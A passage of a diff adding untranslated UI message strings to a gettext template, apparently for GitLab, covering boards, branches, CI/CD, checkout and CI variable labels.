+msgstr ""
+
+msgid "Boards|An error occurred while fetching group projects. Please try again."
+msgstr ""
+
+msgid "Boards|An error occurred while fetching labels. Please reload the page."
+msgstr ""
+
+msgid "Boards|An error occurred while fetching the board epics. Please reload the page."
+msgstr ""
+
+msgid "Boards|An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "Boards|An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
+msgid "Boards|An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
+msgid "Boards|An error occurred while generating lists. Please reload the page."
+msgstr ""
+
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
+msgid "Boards|An error occurred while moving the issue. Please try again."
+msgstr ""
+
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
+msgid "Boards|An error occurred while updating the list. Please try again."
+msgstr ""
+
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Boards|Board"
+msgstr ""
+
+msgid "Boards|Collapse"
+msgstr ""
+
+msgid "Boards|Edit board"
+msgstr ""
+
+msgid "Boards|Expand"
+msgstr ""
+
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View scope"
+msgstr ""
+
+msgid "Board|Are you sure you want to delete this board?"
+msgstr ""
+
+msgid "Board|Board scope"
+msgstr ""
+
+msgid "Board|Create board"
+msgstr ""
+
+msgid "Board|Create new board"
+msgstr ""
+
+msgid "Board|Delete board"
+msgstr ""
+
+msgid "Board|Edit board"
+msgstr ""
+
+msgid "Board|Enter board name"
+msgstr ""
+
+msgid "Board|Failed to delete board. Please try again."
+msgstr ""
+
+msgid "Board|Load more issues"
+msgstr ""
+
+msgid "Bold text"
+msgstr ""
+
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
+msgid "Branch"
+msgstr ""
+
+msgid "Branch %{branchName} was not found in this project's repository."
+msgstr ""
+
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
+
+msgid "Branch already exists"
+msgstr ""
+
+msgid "Branch changed"
+msgstr ""
+
+msgid "Branch is already taken"
+msgstr ""
+
+msgid "Branch name"
+msgstr ""
+
+msgid "Branch not loaded - %{branchId}"
+msgstr ""
+
+msgid "Branches"
+msgstr ""
+
+msgid "Branches|Active"
+msgstr ""
+
+msgid "Branches|Active branches"
+msgstr ""
+
+msgid "Branches|All"
+msgstr ""
+
+msgid "Branches|Cant find HEAD commit for this branch"
+msgstr ""
+
+msgid "Branches|Compare"
+msgstr ""
+
+msgid "Branches|Delete all branches that are merged into '%{default_branch}'"
+msgstr ""
+
+msgid "Branches|Delete branch"
+msgstr ""
+
+msgid "Branches|Delete merged branches"
+msgstr ""
+
+msgid "Branches|Delete protected branch"
+msgstr ""
+
+msgid "Branches|Delete protected branch '%{branch_name}'?"
+msgstr ""
+
+msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "Branches|Deleting the merged branches cannot be undone. Are you sure?"
+msgstr ""
+
+msgid "Branches|Filter by branch name"
+msgstr ""
+
+msgid "Branches|Merged into %{default_branch}"
+msgstr ""
+
+msgid "Branches|New branch"
+msgstr ""
+
+msgid "Branches|No branches to show"
+msgstr ""
+
+msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "Branches|Only a project maintainer or owner can delete a protected branch"
+msgstr ""
+
+msgid "Branches|Overview"
+msgstr ""
+
+msgid "Branches|Protected branches can be managed in %{project_settings_link}."
+msgstr ""
+
+msgid "Branches|Show active branches"
+msgstr ""
+
+msgid "Branches|Show all branches"
+msgstr ""
+
+msgid "Branches|Show more active branches"
+msgstr ""
+
+msgid "Branches|Show more stale branches"
+msgstr ""
+
+msgid "Branches|Show overview of the branches"
+msgstr ""
+
+msgid "Branches|Show stale branches"
+msgstr ""
+
+msgid "Branches|Sort by"
+msgstr ""
+
+msgid "Branches|Stale"
+msgstr ""
+
+msgid "Branches|Stale branches"
+msgstr ""
+
+msgid "Branches|The branch could not be updated automatically because it has diverged from its upstream counterpart."
+msgstr ""
+
+msgid "Branches|The default branch cannot be deleted"
+msgstr ""
+
+msgid "Branches|This branch hasn’t been merged into %{default_branch}."
+msgstr ""
+
+msgid "Branches|To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
+msgid "Branches|To confirm, type %{branch_name_confirmation}:"
+msgstr ""
+
+msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
+msgstr ""
+
+msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
+msgstr ""
+
+msgid "Branches|diverged from upstream"
+msgstr ""
+
+msgid "Branches|merged"
+msgstr ""
+
+msgid "Branches|project settings"
+msgstr ""
+
+msgid "Branches|protected"
+msgstr ""
+
+msgid "Breadcrumbs"
+msgstr ""
+
+msgid "Brief title about the change"
+msgstr ""
+
+msgid "Broadcast Message was successfully created."
+msgstr ""
+
+msgid "Broadcast Message was successfully updated."
+msgstr ""
+
+msgid "Broadcast Messages"
+msgstr ""
+
+msgid "Browse Directory"
+msgstr ""
+
+msgid "Browse File"
+msgstr ""
+
+msgid "Browse Files"
+msgstr ""
+
+msgid "Browse artifacts"
+msgstr ""
+
+msgid "Browse files"
+msgstr ""
+
+msgid "BuildArtifacts|An error occurred while fetching the artifacts"
+msgstr ""
+
+msgid "BuildArtifacts|Loading artifacts"
+msgstr ""
+
+msgid "Built-in"
+msgstr ""
+
+msgid "Bulk request concurrency"
+msgstr ""
+
+msgid "Bulk update"
+msgstr ""
+
+msgid "BulkImport|Existing groups"
+msgstr ""
+
+msgid "BulkImport|From source group"
+msgstr ""
+
+msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
+msgstr ""
+
+msgid "BulkImport|Import groups from GitLab"
+msgstr ""
+
+msgid "BulkImport|Importing the group failed"
+msgstr ""
+
+msgid "BulkImport|Name already exists."
+msgstr ""
+
+msgid "BulkImport|No parent"
+msgstr ""
+
+msgid "BulkImport|Showing %{start}-%{end} of %{total}"
+msgstr ""
+
+msgid "BulkImport|Showing %{start}-%{end} of %{total} from %{link}"
+msgstr ""
+
+msgid "BulkImport|Showing %{start}-%{end} of %{total} matching filter \"%{filter}\" from %{link}"
+msgstr ""
+
+msgid "BulkImport|To new group"
+msgstr ""
+
+msgid "BulkImport|Update of import statuses with realtime changes failed"
+msgstr ""
+
+msgid "BulkImport|You have no groups to import"
+msgstr ""
+
+msgid "BulkImport|expected an associated Group but has an associated Project"
+msgstr ""
+
+msgid "BulkImport|expected an associated Project but has an associated Group"
+msgstr ""
+
+msgid "BulkImport|must be a group"
+msgstr ""
+
+msgid "Burndown chart"
+msgstr ""
+
+msgid "Burndown charts are now fixed. This means that removing issues from a milestone after it has expired won't affect the chart. You can view the old chart using the %{strongStart}Legacy burndown chart%{strongEnd} button."
+msgstr ""
+
+msgid "BurndownChartLabel|Open issue weight"
+msgstr ""
+
+msgid "BurndownChartLabel|Open issues"
+msgstr ""
+
+msgid "Burnup chart"
+msgstr ""
+
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
+msgid "Business"
+msgstr ""
+
+msgid "Business metrics (Custom)"
+msgstr ""
+
+msgid "Busy"
+msgstr ""
+
+msgid "Buy CI Minutes"
+msgstr ""
+
+msgid "Buy License"
+msgstr ""
+
+msgid "Buy more Pipeline minutes"
+msgstr ""
+
+msgid "By %{user_name}"
+msgstr ""
+
+msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
+msgstr ""
+
+msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
+msgstr ""
+
+msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
+msgstr ""
+
+msgid "By default, GitLab sends emails to help guide users through the onboarding process."
+msgstr ""
+
+msgid "By default, all projects and groups will use the global notifications setting."
+msgstr ""
+
+msgid "By default, if any ref (branch, tag, or commit) on the remote mirror has diverged from the local repository, the entire push will fail, and nothing will be updated. Choose this option to override this behavior. After the mirror is created, this can only be modified via the API."
+msgstr ""
+
+msgid "ByAuthor|by"
+msgstr ""
+
+msgid "CHANGELOG"
+msgstr ""
+
+msgid "CI Lint"
+msgstr ""
+
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
+msgid "CI settings"
+msgstr ""
+
+msgid "CI variables"
+msgstr ""
+
+msgid "CI will run using the credentials assigned above."
+msgstr ""
+
+msgid "CI/CD"
+msgstr ""
+
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
+msgid "CI/CD configuration"
+msgstr ""
+
+msgid "CI/CD configuration file"
+msgstr ""
+
+msgid "CI/CD for external repo"
+msgstr ""
+
+msgid "CI/CD settings"
+msgstr ""
+
+msgid "CICDAnalytics|%{percent}%{percentSymbol}"
+msgstr ""
+
+msgid "CICDAnalytics|All time"
+msgstr ""
+
+msgid "CICDAnalytics|Projects with releases"
+msgstr ""
+
+msgid "CICDAnalytics|Release"
+msgid_plural "CICDAnalytics|Releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "CICDAnalytics|Releases"
+msgstr ""
+
+msgid "CICDAnalytics|Something went wrong while fetching release statistics"
+msgstr ""
+
+msgid "CICD|Add a %{base_domain_link_start}base domain%{link_end} to your %{kubernetes_cluster_link_start}Kubernetes cluster%{link_end} for your deployment strategy to work."
+msgstr ""
+
+msgid "CICD|Add a %{kubernetes_cluster_link_start}Kubernetes cluster integration%{link_end} with a domain, or create an AUTO_DEVOPS_PLATFORM_TARGET CI variable."
+msgstr ""
+
+msgid "CICD|Auto DevOps"
+msgstr ""
+
+msgid "CICD|Automatic deployment to staging, manual deployment to production"
+msgstr ""
+
+msgid "CICD|Continuous deployment to production"
+msgstr ""
+
+msgid "CICD|Continuous deployment to production using timed incremental rollout"
+msgstr ""
+
+msgid "CICD|Default to Auto DevOps pipeline"
+msgstr ""
+
+msgid "CICD|Default to Auto DevOps pipeline for all projects"
+msgstr ""
+
+msgid "CICD|Deployment strategy"
+msgstr ""
+
+msgid "CICD|Jobs"
+msgstr ""
+
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
+
+msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgstr ""
+
+msgid "CICD|group enabled"
+msgstr ""
+
+msgid "CICD|instance enabled"
+msgstr ""
+
+msgid "CLOSED"
+msgstr ""
+
+msgid "CLOSED (MOVED)"
+msgstr ""
+
+msgid "CODEOWNERS rule violation"
+msgstr ""
+
+msgid "CONTRIBUTING"
+msgstr ""
+
+msgid "CPU"
+msgstr ""
+
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
+msgid "Callback URL"
+msgstr ""
+
+msgid "Can be manually deployed to"
+msgstr ""
+
+msgid "Can't apply as the source branch was deleted."
+msgstr ""
+
+msgid "Can't apply as these lines were changed in a more recent version."
+msgstr ""
+
+msgid "Can't apply as this line was changed in a more recent version."
+msgstr ""
+
+msgid "Can't apply this suggestion."
+msgstr ""
+
+msgid "Can't be empty"
+msgstr ""
+
+msgid "Can't create snippet: %{err}"
+msgstr ""
+
+msgid "Can't fetch content for the blob: %{err}"
+msgstr ""
+
+msgid "Can't find HEAD commit for this branch"
+msgstr ""
+
+msgid "Can't find variable: ZiteReader"
+msgstr ""
+
+msgid "Can't load mermaid module: %{err}"
+msgstr ""
+
+msgid "Can't scan the code?"
+msgstr ""
+
+msgid "Can't update snippet: %{err}"
+msgstr ""
+
+msgid "Canary"
+msgstr ""
+
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
+msgid "CanaryIngress|%{boldStart}Canary:%{boldEnd} %{canary}"
+msgstr ""
+
+msgid "CanaryIngress|%{boldStart}Stable:%{boldEnd} %{stable}"
+msgstr ""
+
+msgid "CanaryIngress|Canary"
+msgstr ""
+
+msgid "CanaryIngress|Change ratio"
+msgstr ""
+
+msgid "CanaryIngress|Change the ratio of canary deployments?"
+msgstr ""
+
+msgid "CanaryIngress|Doing so will set a deployment change in progress. This temporarily blocks any further configuration until the deployment is finished."
+msgstr ""
+
+msgid "CanaryIngress|Stable"
+msgstr ""
+
+msgid "CanaryIngress|You are changing the ratio of the canary rollout for %{environment} compared to the stable deployment to:"
+msgstr ""
+
+msgid "Cancel"
+msgstr ""
+
+msgid "Cancel and close"
+msgstr ""
+
+msgid "Cancel index deletion"
+msgstr ""
+
+msgid "Cancel running"
+msgstr ""
+
+msgid "Cancel this job"
+msgstr ""
+
+msgid "Cancel, keep project"
+msgstr ""
+
+msgid "Canceled deployment to"
+msgstr ""
+
+msgid "Cancelled"
+msgstr ""
+
+msgid "Cancelling Preview"
+msgstr ""
+
+msgid "Cannot be assigned to other projects."
+msgstr ""
+
+msgid "Cannot be merged automatically"
+msgstr ""
+
+msgid "Cannot create the abuse report. The user has been deleted."
+msgstr ""
+
+msgid "Cannot create the abuse report. This user has been blocked."
+msgstr ""
+
+msgid "Cannot enable shared runners because parent group does not allow it"
+msgstr ""
+
+msgid "Cannot have multiple Jira imports running at the same time"
+msgstr ""
+
+msgid "Cannot have multiple unresolved alerts"
+msgstr ""
+
+msgid "Cannot import because issues are not available in this project."
+msgstr ""
+
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
+msgstr ""
+
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
+msgstr ""
+
+msgid "Cannot merge"
+msgstr ""
+
+msgid "Cannot modify managed Kubernetes cluster"
+msgstr ""
+
+msgid "Cannot modify provider during creation"
+msgstr ""
+
+msgid "Cannot promote issue because it does not belong to a group."
+msgstr ""
+
+msgid "Cannot promote issue due to insufficient permissions."
+msgstr ""
+
+msgid "Cannot refer to a group %{timebox_type} by an internal id!"
+msgstr ""
+
+msgid "Cannot set confidential epic for a non-confidential issue"
+msgstr ""
+
+msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
+msgstr ""
+
+msgid "Cannot skip two factor authentication setup"
+msgstr ""
+
+msgid "Capacity threshold"
+msgstr ""
+
+msgid "Certain user content will be moved to a system-wide \"Ghost User\" in order to maintain content for posterity. For further information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
+msgid "Certificate"
+msgstr ""
+
+msgid "Certificate (PEM)"
+msgstr ""
+
+msgid "Certificate Issuer"
+msgstr ""
+
+msgid "Certificate Subject"
+msgstr ""
+
+msgid "Change assignee"
+msgstr ""
+
+msgid "Change assignee(s)"
+msgstr ""
+
+msgid "Change assignee(s)."
+msgstr ""
+
+msgid "Change branches"
+msgstr ""
+
+msgid "Change label"
+msgstr ""
+
+msgid "Change milestone"
+msgstr ""
+
+msgid "Change path"
+msgstr ""
+
+msgid "Change permissions"
+msgstr ""
+
+msgid "Change reviewer(s)"
+msgstr ""
+
+msgid "Change reviewer(s)."
+msgstr ""
+
+msgid "Change status"
+msgstr ""
+
+msgid "Change subscription"
+msgstr ""
+
+msgid "Change template"
+msgstr ""
+
+msgid "Change this value to influence how frequently the GitLab UI polls for updates."
+msgstr ""
+
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
+msgid "Change title"
+msgstr ""
+
+msgid "Change your password"
+msgstr ""
+
+msgid "Change your password or recover your current one"
+msgstr ""
+
+msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgstr ""
+
+msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgstr ""
+
+msgid "ChangeReviewer|Unassigned"
+msgstr ""
+
+msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgstr ""
+
+msgid "ChangeTypeAction|Cherry-pick"
+msgstr ""
+
+msgid "ChangeTypeAction|Pick into branch"
+msgstr ""
+
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
+msgid "ChangeTypeAction|Revert"
+msgstr ""
+
+msgid "ChangeTypeAction|Revert in branch"
+msgstr ""
+
+msgid "ChangeTypeAction|Search branches"
+msgstr ""
+
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
+msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
+msgstr ""
+
+msgid "ChangeTypeAction|Switch branch"
+msgstr ""
+
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
+msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
+msgstr ""
+
+msgid "ChangeTypeAction|Your changes will be committed to %{branchName} because a merge request is open."
+msgstr ""
+
+msgid "Changed assignee(s)."
+msgstr ""
+
+msgid "Changed reviewer(s)."
+msgstr ""
+
+msgid "Changed the title to \"%{title_param}\"."
+msgstr ""
+
+msgid "Changes"
+msgstr ""
+
+msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
+msgstr ""
+
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
+msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
+msgstr ""
+
+msgid "Changes are still tracked. Useful for cluster/index migrations."
+msgstr ""
+
+msgid "Changes saved."
+msgstr ""
+
+msgid "Changes suppressed. Click to show."
+msgstr ""
+
+msgid "Changes the title to \"%{title_param}\"."
+msgstr ""
+
+msgid "Changes to the title have not been saved"
+msgstr ""
+
+msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
+msgstr ""
+
+msgid "Changing group URL can have unintended side effects."
+msgstr ""
+
+msgid "Channel handle (e.g. town-square)"
+msgstr ""
+
+msgid "Charts can't be displayed as the request for data has timed out. %{documentationLink}"
+msgstr ""
+
+msgid "Chat"
+msgstr ""
+
+msgid "ChatMessage|%{project_link}: Pipeline %{pipeline_link} of %{ref_type} %{ref_link} by %{user_combined_name} %{humanized_status} in %{duration}"
+msgstr ""
+
+msgid "ChatMessage|Branch"
+msgstr ""
+
+msgid "ChatMessage|Commit"
+msgstr ""
+
+msgid "ChatMessage|Failed job"
+msgstr ""
+
+msgid "ChatMessage|Failed stage"
+msgstr ""
+
+msgid "ChatMessage|Invalid CI config YAML file"
+msgstr ""
+
+msgid "ChatMessage|Pipeline #%{pipeline_id} %{humanized_status} in %{duration}"
+msgstr ""
+
+msgid "ChatMessage|Pipeline %{pipeline_link} of %{ref_type} %{ref_link} by %{user_combined_name} %{humanized_status}"
+msgstr ""
+
+msgid "ChatMessage|Tag"
+msgstr ""
+
+msgid "ChatMessage|and [%{count} more](%{pipeline_failed_jobs_url})"
+msgstr ""
+
+msgid "ChatMessage|has failed"
+msgstr ""
+
+msgid "ChatMessage|has passed"
+msgstr ""
+
+msgid "ChatMessage|has passed with warnings"
+msgstr ""
+
+msgid "ChatMessage|in %{duration}"
+msgstr ""
+
+msgid "ChatMessage|in %{project_link}"
+msgstr ""
+
+msgid "Check again"
+msgstr ""
+
+msgid "Check feature availability on namespace plan"
+msgstr ""
+
+msgid "Check out, review, and merge locally"
+msgstr ""
+
+msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
+msgstr ""
+
+msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgstr ""
+
+msgid "Check your Docker images for known vulnerabilities."
+msgstr ""
+
+msgid "Check your source instance permissions."
+msgstr ""
+
+msgid "Checking %{text} availability…"
+msgstr ""
+
+msgid "Checking approval status"
+msgstr ""
+
+msgid "Checking branch availability..."
+msgstr ""
+
+msgid "Checking group URL availability..."
+msgstr ""
+
+msgid "Checking group path availability..."
+msgstr ""
+
+msgid "Checking username availability..."
+msgstr ""
+
+msgid "Checkout"
+msgstr ""
+
+msgid "Checkout|$%{selectedPlanPrice} per user per year"
+msgstr ""
+
+msgid "Checkout|%{cardType} ending in %{lastFourDigits}"
+msgstr ""
+
+msgid "Checkout|%{name}'s GitLab subscription"
+msgstr ""
+
+msgid "Checkout|%{selectedPlanText} plan"
+msgstr ""
+
+msgid "Checkout|%{startDate} - %{endDate}"
+msgstr ""
+
+msgid "Checkout|(x%{numberOfUsers})"
+msgstr ""
+
+msgid "Checkout|Billing address"
+msgstr ""
+
+msgid "Checkout|Checkout"
+msgstr ""
+
+msgid "Checkout|City"
+msgstr ""
+
+msgid "Checkout|Confirm purchase"
+msgstr ""
+
+msgid "Checkout|Confirming..."
+msgstr ""
+
+msgid "Checkout|Continue to billing"
+msgstr ""
+
+msgid "Checkout|Continue to payment"
+msgstr ""
+
+msgid "Checkout|Country"
+msgstr ""
+
+msgid "Checkout|Create a new group"
+msgstr ""
+
+msgid "Checkout|Credit card form failed to load. Please try again."
+msgstr ""
+
+msgid "Checkout|Credit card form failed to load: %{message}"
+msgstr ""
+
+msgid "Checkout|Edit"
+msgstr ""
+
+msgid "Checkout|Exp %{expirationMonth}/%{expirationYear}"
+msgstr ""
+
+msgid "Checkout|Failed to confirm your order! Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to confirm your order: %{message}. Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to load countries. Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to load states. Please try again."
+msgstr ""
+
+msgid "Checkout|Failed to register credit card. Please try again."
+msgstr ""
+
+msgid "Checkout|GitLab group"
+msgstr ""
+
+msgid "Checkout|GitLab plan"
+msgstr ""
+
+msgid "Checkout|Group"
+msgstr ""
+
+msgid "Checkout|Name of company or organization using GitLab"
+msgstr ""
+
+msgid "Checkout|Need more users? Purchase GitLab for your %{company}."
+msgstr ""
+
+msgid "Checkout|Number of users"
+msgstr ""
+
+msgid "Checkout|Payment method"
+msgstr ""
+
+msgid "Checkout|Please select a country"
+msgstr ""
+
+msgid "Checkout|Please select a state"
+msgstr ""
+
+msgid "Checkout|Select"
+msgstr ""
+
+msgid "Checkout|State"
+msgstr ""
+
+msgid "Checkout|Street address"
+msgstr ""
+
+msgid "Checkout|Submitting the credit card form failed with code %{errorCode}: %{errorMessage}"
+msgstr ""
+
+msgid "Checkout|Subscription details"
+msgstr ""
+
+msgid "Checkout|Subtotal"
+msgstr ""
+
+msgid "Checkout|Tax"
+msgstr ""
+
+msgid "Checkout|Total"
+msgstr ""
+
+msgid "Checkout|Users"
+msgstr ""
+
+msgid "Checkout|You'll create your new group after checkout"
+msgstr ""
+
+msgid "Checkout|Your organization"
+msgstr ""
+
+msgid "Checkout|Your subscription will be applied to this group"
+msgstr ""
+
+msgid "Checkout|Zip code"
+msgstr ""
+
+msgid "Checkout|company or team"
+msgstr ""
+
+msgid "Cherry-pick this commit"
+msgstr ""
+
+msgid "Cherry-pick this merge request"
+msgstr ""
+
+msgid "Child"
+msgstr ""
+
+msgid "Child epic does not exist."
+msgstr ""
+
+msgid "Child epic doesn't exist."
+msgstr ""
+
+msgid "Chinese language support using"
+msgstr ""
+
+msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
+
+msgid "Choose a file"
+msgstr ""
+
+msgid "Choose a group"
+msgstr ""
+
+msgid "Choose a role permission"
+msgstr ""
+
+msgid "Choose a template"
+msgstr ""
+
+msgid "Choose a template..."
+msgstr ""
+
+msgid "Choose a type..."
+msgstr ""
+
+msgid "Choose any color"
+msgstr ""
+
+msgid "Choose any color."
+msgstr ""
+
+msgid "Choose any color. Or you can choose one of the suggested colors below"
+msgstr ""
+
+msgid "Choose file…"
+msgstr ""
+
+msgid "Choose labels"
+msgstr ""
+
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
+msgid "Choose the top-level group for your repository imports."
+msgstr ""
+
+msgid "Choose visibility level, enable/disable project features and their permissions, disable email notifications, and show default award emoji."
+msgstr ""
+
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
+
+msgid "Choose which Git strategy to use when fetching the project."
+msgstr ""
+
+msgid "Choose which repositories you want to connect and run CI/CD pipelines."
+msgstr ""
+
+msgid "Choose your framework"
+msgstr ""
+
+msgid "CiCdAnalytics|Date range: %{range}"
+msgstr ""
+
+msgid "CiStatusLabel|canceled"
+msgstr ""
+
+msgid "CiStatusLabel|created"
+msgstr ""
+
+msgid "CiStatusLabel|delayed"
+msgstr ""
+
+msgid "CiStatusLabel|failed"
+msgstr ""
+
+msgid "CiStatusLabel|manual action"
+msgstr ""
+
+msgid "CiStatusLabel|passed"
+msgstr ""
+
+msgid "CiStatusLabel|passed with warnings"
+msgstr ""
+
+msgid "CiStatusLabel|pending"
+msgstr ""
+
+msgid "CiStatusLabel|preparing"
+msgstr ""
+
+msgid "CiStatusLabel|skipped"
+msgstr ""
+
+msgid "CiStatusLabel|waiting for delayed job"
+msgstr ""
+
+msgid "CiStatusLabel|waiting for manual action"
+msgstr ""
+
+msgid "CiStatusLabel|waiting for resource"
+msgstr ""
+
+msgid "CiStatusText|blocked"
+msgstr ""
+
+msgid "CiStatusText|canceled"
+msgstr ""
+
+msgid "CiStatusText|created"
+msgstr ""
+
+msgid "CiStatusText|delayed"
+msgstr ""
+
+msgid "CiStatusText|failed"
+msgstr ""
+
+msgid "CiStatusText|manual"
+msgstr ""
+
+msgid "CiStatusText|passed"
+msgstr ""
+
+msgid "CiStatusText|pending"
+msgstr ""
+
+msgid "CiStatusText|preparing"
+msgstr ""
+
+msgid "CiStatusText|skipped"
+msgstr ""
+
+msgid "CiStatusText|waiting"
+msgstr ""
+
+msgid "CiStatus|running"
+msgstr ""
+
+msgid "CiVariables|Cannot use Masked Variable with current value"
+msgstr ""
+
+msgid "CiVariables|Environments"
+msgstr ""
+
+msgid "CiVariables|Input variable key"
+msgstr ""
+
+msgid "CiVariables|Input variable value"
+msgstr ""
+
+msgid "CiVariables|Key"
+msgstr ""
+
+msgid "CiVariables|Masked"
+msgstr ""
+
+msgid "CiVariables|Protected"
+msgstr ""
+
+msgid "CiVariables|Remove variable"
+msgstr ""
+
+msgid "CiVariables|Remove variable row"
+msgstr ""
+
+msgid "CiVariables|Scope"
+msgstr ""
+
+msgid "CiVariables|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used as default"
+msgstr ""
+
+msgid "CiVariables|State"
+msgstr ""
+
+msgid "CiVariables|Type"
+msgstr ""
+
+msgid "CiVariables|Value"
+msgstr ""
+
+msgid "CiVariables|Variables"
+msgstr ""
+
+msgid "CiVariable|* (All environments)"
+msgstr ""
+
+msgid "CiVariable|All environments"
+msgstr ""
+
+msgid "CiVariable|Create wildcard"
+msgstr ""
+
+msgid "CiVariable|Masked"
+msgstr ""
+
+msgid "CiVariable|New environment"
+msgstr ""
+
+msgid "CiVariable|Protected"
+msgstr ""
+
+msgid "CiVariable|Search environments"
+msgstr ""
+
+msgid "CiVariable|Toggle masked"
+msgstr ""
+
+msgid "CiVariable|Toggle protected"
+msgstr ""
+
+msgid "Classification Label (optional)"
+msgstr ""
+
+msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
+msgstr ""
+
+msgid "Clean up after running %{link_start}git filter-repo%{link_end} on the repository."
+msgstr ""
+
+msgid "Clean up image tags"
+msgstr ""
+
+msgid "Cleanup policies are executed by background workers. This setting defines the maximum number of workers that can run concurrently. Set it to 0 to remove all workers and not execute the cleanup policies."
+msgstr ""
+
+msgid "Cleanup policy maximum number of tags to be deleted"
+msgstr ""
+
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
+msgid "Cleanup policy maximum workers running concurrently"
+msgstr ""
+
+msgid "Clear"
+msgstr ""
+
+msgid "Clear all repository checks"
+msgstr ""
+
+msgid "Clear chart filters"
+msgstr ""
+
+msgid "Clear due date"
+msgstr ""
+
+msgid "Clear recent searches"
+msgstr ""
+
+msgid "Clear search"
+msgstr ""
+
+msgid "Clear search input"
+msgstr ""
+
+msgid "Clear start date"
+msgstr ""
+
+msgid "Clear templates search input"
+msgstr ""
+
+msgid "Clear weight"
+msgstr ""
+
+msgid "Cleared weight."
+msgstr ""
+
+msgid "Clears weight."
+msgstr ""
+
+msgid "Click %{link_start}here%{link_end} to view the request."
+msgstr ""
+
+msgid "Click %{link_to} to view the request."
+msgstr ""
+
+msgid "Click the button below."
+msgstr ""
+
+msgid "Click to expand it."
+msgstr ""
+
+msgid "Click to expand text"
+msgstr ""
+
+msgid "Client authentication certificate"
+msgstr ""
+
+msgid "Client authentication key"
+msgstr ""
+
+msgid "Client authentication key password"
+msgstr ""
+
+msgid "Client request timeout"
+msgstr ""
+
+msgid "Clients"
+msgstr ""
+
+msgid "Clone"
+msgstr ""
+
+msgid "Clone repository"
+msgstr ""
+
